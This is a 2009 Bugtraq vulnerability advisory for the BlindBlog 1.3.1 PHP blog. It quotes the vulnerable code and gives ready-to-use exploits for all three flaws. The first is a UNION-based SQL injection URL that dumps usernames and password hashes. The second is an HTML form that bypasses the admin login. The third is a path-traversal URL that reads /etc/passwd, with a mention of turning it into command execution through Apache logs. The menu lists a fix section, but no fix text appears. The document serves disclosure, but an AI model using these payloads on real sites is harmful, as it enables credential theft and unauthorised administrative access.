WARNING - CORRECT: BlindBlog 1.3.1 Multiple Vulnerabilities (SQL Inj - Auth Bypass - LFI)
- To: Bugtraq <bugtraq@xxxxxxxxxxxxxxxxx>, str0ke <str0ke@xxxxxxxxxxx>
- Subject: WARNING - CORRECT: BlindBlog 1.3.1 Multiple Vulnerabilities (SQL Inj - Auth Bypass - LFI)
- From: "Salvatore \"drosophila\" Fresta" <drosophilaxxx@xxxxxxxxx>
- Date: Tue, 3 Mar 2009 16:24:55 +0100
- Dkim-signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type:content-transfer-encoding; bh=9Y2R0d1YS8uxl0QCbmLXbcms15mkMi+qrnOD7hypo20=; b=EbqoQa/lqRl5LaeRjprbrp0ItaQDtmyf0aITnVjwlNMMpxCe7C1vw7ypBqafwRbyJG cCu2XfeITwXcGZ0c7jn0GNBDVNdPsOyQR1bfB37NyC7feRQoRlJeH5e3XppSMOzUuQio 0siBQuliauc9bkrLGj11MqJ2zhPVAyNQJDrTE=
- Domainkey-signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type :content-transfer-encoding; b=TjosKUiV7USS66VVCh9am2G5x0lN6QWM47yAPYnuMvk3+VPotVQWW0GNOFSj2Id24Y j7qgDTNRa9xxsk9o085tZn8/iPWtm2gluqtpBAqhgb4eQrpqCC/Dnh+Dv0I7ymefg2jn o+nz+iInl0DQsyHBO81T/n319ygZJTH88VPT0=
- List-help: <mailto:bugtraq-help@securityfocus.com>
- List-id: <bugtraq.list-id.securityfocus.com>
- List-post: <mailto:bugtraq@securityfocus.com>
- List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
- List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
- Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
******* Salvatore "drosophila" Fresta *******
[+] Application: BlindBlog
[+] Version: 1.3.1
[+] Website: http://sourceforge.net/projects/cbblog/
[+] Bugs: [A] SQL Injection
[B] Authentication Bypass
[C] Local File Inclusion
[+] Exploitation: Remote
[+] Date: 03 Mar 2009
[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@xxxxxxxxx
*************************************************
[+] Menu
1) Bugs
2) Code
3) Fix
*************************************************
[+] Bugs
- [A] SQL Injection
[-] Requisites: magic_quotes_gpc = off
[-] File affected: comment.php
All queries are vulnerable.
This bug allows a guest to view username and the
password of a registered user.
$id = (isset($_GET['id']) && $_GET['id'] !='') ? $_GET['id'] : getlastid();
$SQL = "SELECT comment,author,contact,date FROM `cblog_comments`
WHERE `pid` = '$id' ORDER BY `cid` DESC";
$resulted = $db->query($SQL, $querys);
while ($result = mysql_fetch_assoc($resulted))
$comments[] = $result;
- [B] Authentication Bypass
[-] Requisites: magic_quotes_gpc = off
[-] File affected: admin.login.php
$username = $_POST['username'];
$password = md5($_POST['password']);
include('./db_config.php');
$db = new db_stuff;
$db->connect();
$result = $db->query("SELECT * FROM `cblog_users` WHERE `username` =
'$username'", $querys);
if (mysql_num_rows($result) > 1 || mysql_num_rows($result) < 1)
{
echo "Incorrect username";
exit;
}
$result = mysql_fetch_assoc($result);
if ($result['password'] !== $password)
{
echo 'Incorrect Password';
exit;
}
- [C] Local File Inclusion
[-] Requisites: none
[-] File affected: admin.php
This bug allow an admin to include local files.
It is possible bypass authentication using the
previous bug.
With this bug is possible to execute remote
commands using Apache logs.
...
} else if (isset($_GET['act']) && $_SESSION['is_admin'])
{
$loc = 'admin.'.$_GET['act'].'.php';
include('./'.$loc);
}
...
*************************************************
[+] Code
- [A] SQL Injection
http://www.site.com/path/comment.php?id=-1' UNION ALL SELECT
NULL,CONCAT(username, char(58), password),3,4 FROM cblog_users%23
- [B] Authentication Bypass
<html>
<head>
<title>BlindBlog 1.3.1 Authentication Bypass Exploit</title>
</head>
<body>
<form
action="http://www.site.com/path/admin/admin.login.php?go=1"
method="POST">
<input type="hidden" name="username" value="-1'
UNION ALL SELECT
1,'admin',MD5('expl')#">
<input type="hidden" name="password" value="expl">
<input type="submit" value="Exploit">
</form>
</body>
</html>
- [C] Local File Inclusion
Tested on MAC OSX: /Applications/xampp/xamppfiles/htdocs/cbblog/admin/admin.php
http://www.site.com/path/admin/admin.php?act=/../../../../../../../etc/passwd%00
--
Salvatore "drosophila" Fresta
CWNP444351